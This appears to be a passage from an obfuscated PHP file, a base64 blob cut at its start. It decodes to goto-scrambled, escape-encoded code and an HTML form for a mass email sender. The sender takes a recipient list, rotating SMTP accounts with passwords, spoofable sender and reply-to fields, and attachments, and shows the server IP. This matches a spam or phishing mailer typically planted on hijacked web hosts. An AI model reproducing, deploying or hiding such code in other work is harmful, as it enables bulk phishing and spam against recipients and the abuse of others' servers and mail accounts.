HMsICRtaW5fbGVuZ3RoLCAkbWF4X2xlbmd0aCkgeyAkbGVuZ3RoID0gcmFuZCgkbWluX2xlbmd0aCwgJG1heF9sZW5ndGgpOyAkcGFzc3dvcmQgPSAnJzsgZm9yICgkaSA9IDA7ICRpIDwgJGxlbmd0aDsgJGkrKykgeyAkcGFzc3dvcmQgLj0gJGNvbnNvbmFudHNbcmFuZCgpICUgc3RybGVuKCRjb25zb25hbnRzKV07IH0gcmV0dXJuICRwYXNzd29yZDsgfSBnb3RvIGo3UlJUOyBRdHB2SjogZWNobyAkb3dsWyJcMTY3XDE0NVx4NjJceDczXDE1MVx4NzRceDY1Il07IGdvdG8gRkp4bHY7IE5pS1FxOiA/Pgo8L2I+PC9saT4KCiAgICAgICAgICAgIDwvdWw+CiAgICAgICAgICAgIDxoND5IRUxQPC9oND4KICAgICAgICAgICAgPHVsPgogICAgICAgICAgICAgICAgPGxpPlstZW1haWwtXSA6IDxiPlJlY2l2ZXIgRW1haWw8L2I+PC9saT4KICAgICAgICAgICAgICAgIDxsaT5bLXRpbWUtXSA6IDxiPkRhdGUgYW5kIFRpbWU8L2I+ICg8P3BocCAgZ290byBaZ0diMjsga1RiRV86IGVjaG8gJG93bFsiXHg3NlwxNDVceDcyXDE2M1x4NjlceDZmXHg2ZSJdOyBnb3RvIE5Jc0ZiOyBuRV9xczogJG93bFsiXHg3Nlx4NjVceDcyXDE2M1wxNTFcMTU3XHg2ZSJdID0gIlx4MzFceDJlXDY2IjsgZ290byBWVGdRUTsgdlV6cWU6IGZ1bmN0aW9uIHByb2Nlc3NFbWFpbFNlbmRpbmdSZXF1ZXN0KCkgeyBpZiAoIWlzX2VtYWlsKCRHTE9CQUxTWyJceDcyXDE0NVwxNDNcMTUxXDE2MFx4NjlceDY1XHg2ZVx4NzQiXSkpIHsgZGllKCJcMTExXDE1Nlx4NjNcMTU3XDE2Mlx4NzJcMTQ1XHg2M1wxNjRceDIwXHg0NVwxNTVceDYxXHg2OVx4NmMiKTsgfSAkbWFpbCA9IHNldFNlbmRpbmdNZXRob2QoKTsgJGZyb21FbWFpbCA9IG93bENsZWFyKCRHTE9CQUxTWyJcMTYzXHg2NVwxNTZceDY0XDE0NVwxNjJcMTA1XDE1NVwxNDFceDY5XDE1NCJdLCAkR0xPQkFMU1siXHg3Mlx4NjVcMTQzXDE1MVx4NzBcMTUxXHg2NVwxNTZcMTY0Il0pOyAkZnJvbU5hbWUgPSBvd2xDbGVhcigkR0xPQkFMU1siXDE2M1wxNDVceDZlXDE0NFx4NjVceDcyXHg0ZVx4NjFceDZkXDE0NSJdLCAkR0xPQkFMU1siXHg3MlwxNDVceDYzXDE1MVwxNjBcMTUxXDE0NVx4NmVcMTY0Il0pOyAkcmVwbHlUbyA9IG93bENsZWFyKCRHTE9CQUxTWyJceDcyXHg2NVwxNjBceDZjXDE3MVwxMjRceDZmIl0sICRHTE9CQUxTWyJcMTYyXDE0NVwxNDNcMTUxXDE2MFx4NjlceDY1XDE1Nlx4NzQiXSk7ICRyZWNpcGllbnQgPSAkR0xPQkFMU1siXHg3MlwxNDVceDYzXHg2OVwxNjBcMTUxXDE0NVwxNTZceDc0Il07ICRzdWJqZWN0ID0gb3dsQ2xlYXIoJEdMT0JBTFNbIlwxNTVcMTQ1XDE2M1x4NzNceDYxXHg2N1x4NjVceDUzXHg3NVx4NjJceDZhXHg2NVx4NjNcMTY0Il0sICRHTE9CQUxTWyJceDcyXHg2NVx4NjNceDY5XHg3MFx4NjlcMTQ1XHg2ZVwxNjQiXSk7ICRib2R5ID0gb3dsQ2xlYXIoJEdMT0JBTFNbIlwxNTVceDY1XDE2M1x4NzNceDYxXHg2N1wxNDVceDRjXDE0NVx4NzRceDc0XDE0NVx4NzIiXSwgJEdMT0JBTFNbIlwxNjJceDY1XDE0M1wxNTFcMTYwXHg2OVwxNDVcMTU2XDE2NCJdKTsgJGFsdEJvZHkgPSBvd2xDbGVhcigkR0xPQkFMU1siXDE0MVx4NmNceDc0XHg0ZFwxNDVcMTYzXHg3M1x4NjFceDY3XDE0NVx4NGNcMTQ1XHg3NFx4NzRcMTQ1XDE2MiJdLCAkR0xPQkFMU1siXDE2MlwxNDVceDYzXHg2OVwxNjBceDY5XHg2NVwxNTZceDc0Il0pOyAkY2hhclNldCA9ICRHTE9CQUxTWyJceDY1XHg2ZVwxNDNcMTU3XHg2NFwxNTFcMTU2XHg2N1x4NTRceDc5XDE2MFx4NjUiXTsgJG1lc3NhZ2VUeXBlID0gJEdMT0JBTFNbIlwxNTVceDY1XDE2M1x4NzNcMTQxXDE0N1x4NjVceDU0XDE3MVx4NzBcMTQ1Il07ICRlbWFpbFByaW9yaXR5ID0gJEdMT0JBTFNbIlx4NjVcMTU1XDE0MVx4NjlcMTU0XDEyMFx4NzJceDY5XDE1N1wxNjJcMTUxXHg3NFwxNzEiXTsgJG1haWwtPnNldEZyb20oJGZyb21FbWFpbCwgJGZyb21OYW1lKTsgaWYgKGlzc2V0KCRyZXBseVRvKSAmJiAkcmVwbHlUbyAhPT0gJycpIHsgJG1haWwtPmFkZFJlcGx5VG8oJHJlcGx5VG8pOyB9ICRtYWlsLT5hZGRBZGRyZXNzKCRyZWNpcGllbnQpOyBpZiAoaXNzZXQoJHN1YmplY3QpICYmICRzdWJqZWN0ICE9PSAnJykgeyAkbWFpbC0+U3ViamVjdCA9ICRzdWJqZWN0OyB9IGlmIChpc3NldCgkYm9keSkgJiYgJGJvZHkgIT09ICcnKSB7ICRtYWlsLT5Cb2R5ID0gJGJvZHk7IH0gaWYgKGlzc2V0KCRjaGFyU2V0KSAmJiAkY2hhclNldCAhPT0gJycpIHsgJG1haWwtPkNoYXJTZXQgPSAkY2hhclNldDsgfSBpZiAoaXNzZXQoJGVtYWlsUHJpb3JpdHkpICYmICRlbWFpbFByaW9yaXR5ICE9PSAnJykgeyAkbWFpbC0+UHJpb3JpdHkgPSAkZW1haWxQcmlvcml0eTsgfSBpZiAoaXNzZXQoJGFsdEJvZHkpICYmICRhbHRCb2R5ICE9PSAnJykgeyAkbWFpbC0+QWx0Qm9keSA9ICRhbHRCb2R5OyB9IGlmIChpc3NldCgkX0ZJTEVTWyJcMTQxXHg3NFx4NzRceDYxXDE0M1x4NjhceDZkXDE0NVx4NmVceDc0Il0pKSB7IGZvciAoJGkgPSAwOyAkaSA8IGNvdW50KCRfRklMRVNbIlwxNDFcMTY0XDE2NFx4NjFcMTQzXDE1MFx4NmRcMTQ1XHg2ZVwxNjQiXVsiXDE1NlwxNDFceDZkXHg2NSJdKTsgJGkrKykgeyBpZiAoJF9GSUxFU1siXHg2MVx4NzRcMTY0XDE0MVx4NjNcMTUwXHg2ZFx4NjVceDZlXHg3NCJdWyJceDc0XDE1NVwxNjBceDVmXDE1NlwxNDFceDZkXHg2NSJdWyRpXSAhPSAnJykgeyAkbWFpbC0+QWRkQXR0YWNobWVudCgkX0ZJTEVTWyJceDYxXHg3NFwxNjRcMTQxXDE0M1wxNTBcMTU1XDE0NVx4NmVceDc0Il1bIlwxNjRceDZkXDE2MFx4NWZceDZlXHg2MVx4NmRceDY1Il1bJGldLCAkX0ZJTEVTWyJceDYxXDE2NFx4NzRcMTQxXHg2M1x4NjhceDZkXHg2NVx4NmVceDc0Il1bIlx4NmVceDYxXHg2ZFx4NjUiXVskaV0pOyB9IH0gfSBpZiAoJG1lc3NhZ2VUeXBlID09ICJcMTUwXDE2NFx4NmRcMTU0IikgeyAkbWFpbC0+SXNIVE1MKHRydWUpOyB9IGVsc2UgeyAkbWFpbC0+SXNIVE1MKGZhbHNlKTsgfSBpZiAoISRtYWlsLT5zZW5kKCkpIHsgZGllKCRtYWlsLT5FcnJvckluZm8pOyB9IGVsc2UgeyBkaWUoIlx4NGZceDRiIik7IH0gfSBnb3RvIHNMY0N3OyBOSXNGYjogPz4KPC9zbWFsbD48L2gzPgogICAgPGRpdiBjbGFzcz0icm93Ij4KICAgICAgPGRpdiBjbGFzcz0iZm9ybS1ncm91cCBjb2wtbGctNiAiPgogICAgICAgIDxsYWJlbCBmb3I9InNlbmRlckVtYWlsIj5TZW5kZXIgRW1haWw8L2xhYmVsPgogICAgICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBjbGFzcz0iZm9ybS1jb250cm9sICBpbnB1dC1zbSIgaWQ9InNlbmRlckVtYWlsIiBuYW1lPSJzZW5kZXJFbWFpbCI+CiAgICAgIDwvZGl2PgogICAgICA8ZGl2IGNsYXNzPSJmb3JtLWdyb3VwIGNvbC1sZy02ICI+CiAgICAgICAgPGxhYmVsIGZvcj0ic2VuZGVyRW1haWwiPlNlbmRlciBOYW1lPC9sYWJlbD4KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgY2xhc3M9ImZvcm0tY29udHJvbCAgaW5wdXQtc20iIGlkPSJzZW5kZXJOYW1lIiBuYW1lPSJzZW5kZXJOYW1lIj4KICAgICAgPC9kaXY+CiAgICA8L2Rpdj4KICAgIDxkaXYgY2xhc3M9InJvdyI+IDxzcGFuIGNsYXNzPSJmb3JtLWdyb3VwIGNvbC1sZy02Ij48bGFiZWwgZm9yPSJhdHRhY2htZW50Ij5BdHRhY2htZW50IDxzbWFsbD4oTXVsdGlwbGUgQXZhaWxhYmxlKTwvc21hbGw+PC9sYWJlbD48aW5wdXQgdHlwZT0iZmlsZSIgbmFtZT0iYXR0YWNobWVudFtdIiBpZD0iYXR0YWNobWVudCIgbXVsdGlwbGUvPjwvc3Bhbj4KICAgICAgPGRpdiBjbGFzcz0iZm9ybS1ncm91cCBjb2wtbGctNiI+CiAgICAgICAgPGxhYmVsIGZvcj0icmVwbHlUbyI+UmVwbHktdG88L2xhYmVsPgogICAgICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBjbGFzcz0iZm9ybS1jb250cm9sICBpbnB1dC1zbSAiIGlkPSJyZXBseVRvIiBuYW1lPSJyZXBseVRvIiAvPgogICAgICA8L2Rpdj4KICAgIDwvZGl2PgogICAgPGRpdiBjbGFzcz0icm93Ij4KICAgICAgPGRpdiBjbGFzcz0iZm9ybS1ncm91cCBjb2wtbGctMTIgIj4KICAgICAgICA8bGFiZWwgZm9yPSJzdWJqZWN0Ij5TdWJqZWN0PC9sYWJlbD4KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgY2xhc3M9ImZvcm0tY29udHJvbCAgaW5wdXQtc20gIiBpZD0ic3ViamVjdCIgbmFtZT0ic3ViamVjdCIgLz4KICAgICAgPC9kaXY+CiAgICA8L2Rpdj4KICAgIDxkaXYgY2xhc3M9InJvdyI+CiAgICAgIDxkaXYgY2xhc3M9ImZvcm0tZ3JvdXAgY29sLWxnLTYiPgogICAgICAgIDxsYWJlbCBmb3I9Im1lc3NhZ2VMZXR0ZXIiPk1lc3NhZ2UgTGV0dGVyPC9sYWJlbD4KICAgICAgICA8dGV4dGFyZWEgcGxhY2Vob2xkZXI9Ik1lc3NhZ2UgTGV0dGVyIiBuYW1lPSJtZXNzYWdlTGV0dGVyIiBpZD0ibWVzc2FnZUxldHRlciIgY2xhc3M9ImZvcm0tY29udHJvbCIgcm93cz0iMTAiIGlkPSJ0ZXh0QXJlYSI+PC90ZXh0YXJlYT4KICAgICAgPC9kaXY+CiAgICAgIDxkaXYgY2xhc3M9ImZvcm0tZ3JvdXAgY29sLWxnLTYiPgogICAgICAgIDxsYWJlbCBmb3I9ImFsdE1lc3NhZ2VMZXR0ZXIiPkFsdGVybmF0aXZlIE1lc3NhZ2UgTGV0dGVyPC9sYWJlbD4KICAgICAgICA8dGV4dGFyZWEgcGxhY2Vob2xkZXI9IkFsdGVybmF0aXZlIE1lc3NhZ2UgTGV0dGVyLiYjMTA7VGhpcyBib2R5IGNhbiBiZSByZWFkIGJ5IG1haWwgY2xpZW50cyB0aGF0IGRvIG5vdCBoYXZlIEhUTUwgZW1haWwuJiMxMDtjYXBhYmlsaXR5IHN1Y2ggYXMgbXV0dCAmIzM4OyBFdWRvcmEuJiMxMDtDbGllbnRzIHRoYXQgY2FuIHJlYWQgSFRNTCB3aWxsIHZpZXcgdGhlIG5vcm1hbCBCb2R5LiIgbmFtZT0iYWx0TWVzc2FnZUxldHRlciIgaWQ9ImFsdE1lc3NhZ2VMZXR0ZXIiIGNsYXNzPSJmb3JtLWNvbnRyb2wiIHJvd3M9IjEwIiBpZD0idGV4dEFyZWEiPjwvdGV4dGFyZWE+CiAgICAgIDwvZGl2PgogICAgPC9kaXY+CiAgICA8ZGl2IGNsYXNzPSJyb3ciPgogICAgICA8ZGl2IGNsYXNzPSJmb3JtLWdyb3VwIGNvbC1sZy02ICI+CiAgICAgICAgPGxhYmVsIGZvcj0iZW1haWxMaXN0Ij5FbWFpbCBMaXN0PC9sYWJlbD4KICAgICAgICA8dGV4dGFyZWEgbmFtZT0iZW1haWxMaXN0IiBpZD0iZW1haWxMaXN0IiBjbGFzcz0iZm9ybS1jb250cm9sIiByb3dzPSIxMCIgaWQ9InRleHRBcmVhIj48L3RleHRhcmVhPgogICAgICA8L2Rpdj4KICAgICAgPGRpdiBjbGFzcz0iZm9ybS1ncm91cCBjb2wtbGctNiAiPgogICAgICAgIDxsYWJlbCBmb3I9InNtdHBBY2NvdW50cyI+U01UUCBBY2NvdW50czwvbGFiZWw+CiAgICAgICAgPHRleHRhcmVhIHBsYWNlaG9sZGVyPSJSYW5kb20gYWNjb3VudCB3aWxsIGJlIHVzZWQgd2hlbiBzZW5kaW5nIGEgbWVzc2FnZS4mIzEwOzEpIEZvcm1hdDogSE9TVDpQT1JUOlNTTCYjMTA7MikgRm9ybWF0OiBIT1NUOlBPUlQ6U1NMOlVzZXJuYW1lOlBhc3N3b3JkJiMxMDtFeGFtcGxlOiBzbXRwLmdtYWlsLmNvbTo1ODc6dGxzOnh4QGdtYWlsLmNvbToxMjMmIzEwO0V4YW1wbGU6IHNtdHAuZ21haWwuY29tOjU4Nzpub3NzbDp4eEBnbWFpbC5jb206MTIzJiMxMDsmIzEwO1NTTCBPcHRpb25zOiB0bHMgLCBzc2wsIG5vc3NsIiBuYW1lPSJzbXRwQWNjb3VudHMiIGlkPSJzbXRwQWNjb3VudHMiIGNsYXNzPSJmb3JtLWNvbnRyb2wiIHJvd3M9IjEwIiBpZD0idGV4dEFyZWEiPjwvdGV4dGFyZWE+CiAgICAgIDwvZGl2PgogICAgPC9kaXY+CgogICAgPGRpdiBjbGFzcz0icm93Ij4KICAgICAgPGRpdiBjbGFzcz0iZm9ybS1ncm91cCBjb2wtbGctNiAiPgogICAgICA8bGFiZWwgZm9yPSJtZXNzYWdlVHlwZSI+TWVzc2FnZSBUeXBlPC9sYWJlbD4KICAgICAgPGlucHV0IHR5cGU9InJhZGlvIiBuYW1lPSJtZXNzYWdlVHlwZSIgaWQ9Im1lc3NhZ2VUeXBlIiB2YWx1ZT0iaHRtbCIgY2hlY2tlZD4gSFRNTAogICAgICA8aW5wdXQgdHlwZT0icmFkaW8iIG5hbWU9Im1lc3NhZ2VUeXBlIiBpZD0ibWVzc2FnZVR5cGUiIHZhbHVlPSJwbGFpbiI+IFBsYWluCiAgICA8L2Rpdj4KICAgIDxkaXYgY2xhc3M9ImZvcm0tZ3JvdXAgY29sLWxnLTYgIj4KICAgICAgPGxhYmVsIGZvcj0ic2VuZGluZ01ldGhvZCI+U2VuZGluZyBNZXRob2Q8L2xhYmVsPgogICAgICA8aW5wdXQgdHlwZT0icmFkaW8iIG5hbWU9InNlbmRpbmdNZXRob2QiIGlkPSJzZW5kaW5nTWV0aG9kIiB2YWx1ZT0iYnVpbHRpbiIgY2hlY2tlZD4gQnVpbHRpbgogICAgICA8aW5wdXQgdHlwZT0icmFkaW8iIG5hbWU9InNlbmRpbmdNZXRob2QiIGlkPSJzZW5kaW5nTWV0aG9kIiB2YWx1ZT0ic210cCI+IFNNVFAKICAgIDwvZGl2PgogICAgPGRpdiBjbGFzcz0iZm9ybS1ncm91cCBjb2wtbGctNiI+CiAgICAgIDxsYWJlbCBmb3I9ImVuY29kaW5nIj5FbmNvZGluZyBUeXBlPC9sYWJlbD4KICAgICAgPHNlbGVjdCBjbGFzcz0iZm9ybS1jb250cm9sIGlucHV0LXNtIiBpZD0iZW5jb2RpbmciIG5hbWU9ImVuY29kaW5nIj4KICAgICAgICA8b3B0aW9uIHZhbHVlPSJVVEYtOCIgc2VsZWN0ZWQ+VVRGLTggSW50ZXJuYXRpb25hbCBVbmljb2RlPC9vcHRpb24+CiAgICAgICAgPG9wdGlvbiB2YWx1ZT0iSVNPLTg4NTktMSI+SVNPLTg4NTktMSBMYXRpbiAxIChXZXN0IEV1cm9wZWFuKTwvb3B0aW9uPgogICAgICAgIDxvcHRpb24gdmFsdWU9IklTTy04ODU5LTIiPklTTy04ODU5LTIgTGF0aW4gMiAoRWFzdCBFdXJvcGVhbik8L29wdGlvbj4KICAgICAgICA8b3B0aW9uIHZhbHVlPSJJU08tODg1OS0zIj5JU08tODg1OS0zIExhdGluIDMgKFNvdXRoIEV1cm9wZWFuKTwvb3B0aW9uPgogICAgICAgIDxvcHRpb24gdmFsdWU9IklTTy04ODU5LTQiPklTTy04ODU5LTQgTGF0aW4gNCAoTm9ydGggRXVyb3BlYW4pPC9vcHRpb24+CiAgICAgICAgPG9wdGlvbiB2YWx1ZT0iSVNPLTg4NTktNSI+SVNPLTg4NTktNSBDeXJpbGxpYzwvb3B0aW9uPgogICAgICAgIDxvcHRpb24gdmFsdWU9IklTTy04ODU5LTYiPklTTy04ODU5LTYgQXJhYmljPC9vcHRpb24+CiAgICAgICAgPG9wdGlvbiB2YWx1ZT0iSVNPLTg4NTktNyI+SVNPLTg4NTktNyBHcmVlazwvb3B0aW9uPgogICAgICAgIDxvcHRpb24gdmFsdWU9IklTTy04ODU5LTgiPklTTy04ODU5LTggSGVicmV3PC9vcHRpb24+CiAgICAgICAgPG9wdGlvbiB2YWx1ZT0iSVNPLTg4NTktOSI+SVNPLTg4NTktOSBMYXRpbiA1IChUdXJraXNoKTwvb3B0aW9uPgogICAgICAgIDxvcHRpb24gdmFsdWU9IklTTy04ODU5LTE1Ij5JU08tODg1OS0xNSBMYXRpbiA5PC9vcHRpb24+CiAgICAgICAgPG9wdGlvbiB2YWx1ZT0iQklHNSI+QklHNSBUcmFkaXRpb25hbCBDaGluZXNlPC9vcHRpb24+CiAgICAgICAgPG9wdGlvbiB2YWx1ZT0iR0ItMjMxMiI+R0ItMjMxMiBTaW1wbGlmaWVkIENoaW5lc2U8L29wdGlvbj4KICAgICAgICA8b3B0aW9uIHZhbHVlPSJJU08tMjAyMi1KUCI+SVNPLTIwMjItSlAgSmFwYW5lc2U8L29wdGlvbj4KICAgICAgICA8b3B0aW9uIHZhbHVlPSJFVUMtSlAiPkVVQy1KUCBKYXBhbmVzZTwvb3B0aW9uPgogICAgICAgIDxvcHRpb24gdmFsdWU9IlNoaWZ0LUpJUyI+U2hpZnQtSklTIEphcGFuZXNlPC9vcHRpb24+CiAgICAgICAgPG9wdGlvbiB2YWx1ZT0iS1NDLTU2MDEiPktTQy01NjAxIEtvcmVhbjwvb3B0aW9uPgogICAgICAgIDxvcHRpb24gdmFsdWU9IkVJQy1LUiI+RUlDLUtSIEtvcmVhbjwvb3B0aW9uPgogICAgICA8L3NlbGVjdD4KICAgIDwvZGl2PgogICAgPGRpdiBjbGFzcz0iZm9ybS1ncm91cCBjb2wtbGctMyI+CiAgICAgIDxsYWJlbCBmb3I9InByaW9yaXR5Ij5FbWFpbCBQcmlvcml0eTwvbGFiZWw+CiAgICAgIDxzZWxlY3QgY2xhc3M9ImZvcm0tY29udHJvbCBpbnB1dC1zbSIgaWQ9InByaW9yaXR5IiBuYW1lPSJwcmlvcml0eSI+CiAgICAgICAgPG9wdGlvbiB2YWx1ZT0iIiBzZWxlY3RlZD5EZWZhdWx0PC9vcHRpb24+CiAgICAgICAgPG9wdGlvbiB2YWx1ZT0iNSI+TG93PC9vcHRpb24+CiAgICAgICAgPG9wdGlvbiB2YWx1ZT0iMyI+Tm9ybWFsPC9vcHRpb24+CiAgICAgICAgPG9wdGlvbiB2YWx1ZT0iMSI+SGlnaDwvb3B0aW9uPgogICAgICA8L3NlbGVjdD4KICAgIDwvZGl2PgogIDwvZGl2PgoKPGJ1dHRvbiB0eXBlPSJidXR0b24iIGlkPSJidG5TdGFydCIgY2xhc3M9ImJ0biBidG4tZGVmYXVsdCBidG4tc20iIG9uY2xpY2s9InN0YXJ0U2VuZGluZygpOyI+U3RhcnQ8L2J1dHRvbj4KPGJ1dHRvbiB0eXBlPSJidXR0b24iaWQ9ImJ0blN0b3AiIGNsYXNzPSJidG4gYnRuLWRlZmF1bHQgYnRuLXNtIiBvbmNsaWNrPSJzdG9wU2VuZGluZygpOyI+U3RvcDwvYnV0dG9uPgoKPC9kaXY+CiAgCiAgICA8ZGl2IGNsYXNzPSJjb2wtbGctNiI+PGJyPgogICAgICAgIDxsYWJlbCBmb3I9IndlbGwiPkluc3RydWN0aW9uPC9sYWJlbD4KICAgICAgICA8ZGl2IGlkPSJ3ZWxsIiBjbGFzcz0id2VsbCB3ZWxsIj4KICAgICAgICAgICAgPGg0PlNlcnZlciBJbmZvcm1hdGlvbjwvaDQ+CiAgICAgICAgICAgIDx1bD4KICAgICAgICAgICAgICAgIDxsaT5TZXJ2ZXJJUCA6IDxiPiA8P3BocCAgZ290byBHOG45dDsgSnVBd3k6ID8+CjwvYT48L2I+PC9oNj4KICAgICAgICA8L2Rpdj4KCiAgICAgICAgPGRpdiBpZD0icHJvZ3Jlc3MiIGNsYXNzPSJjb2wtbGctMTYiPgogICAgICAgICAgCiAgICAgICAgPC9kaXY+CiAgICA8L2Rpdj4KIAo8c2NyaXB0PgogJCgiI2J0blN0YXJ0IikuYXR0cigiZGlzYWJsZWQiLCBmYWxzZSk7CiAkKCIjYnRuU3RvcCIpLmF0dHIoImRpc2FibGVkIiwgdHJ1ZSk7Cjwvc2NyaXB0Pgo8L2JvZHk+Cjxmb290ZXI+PC9mb290ZXI+Cgo8L2h0bQ==')); ?>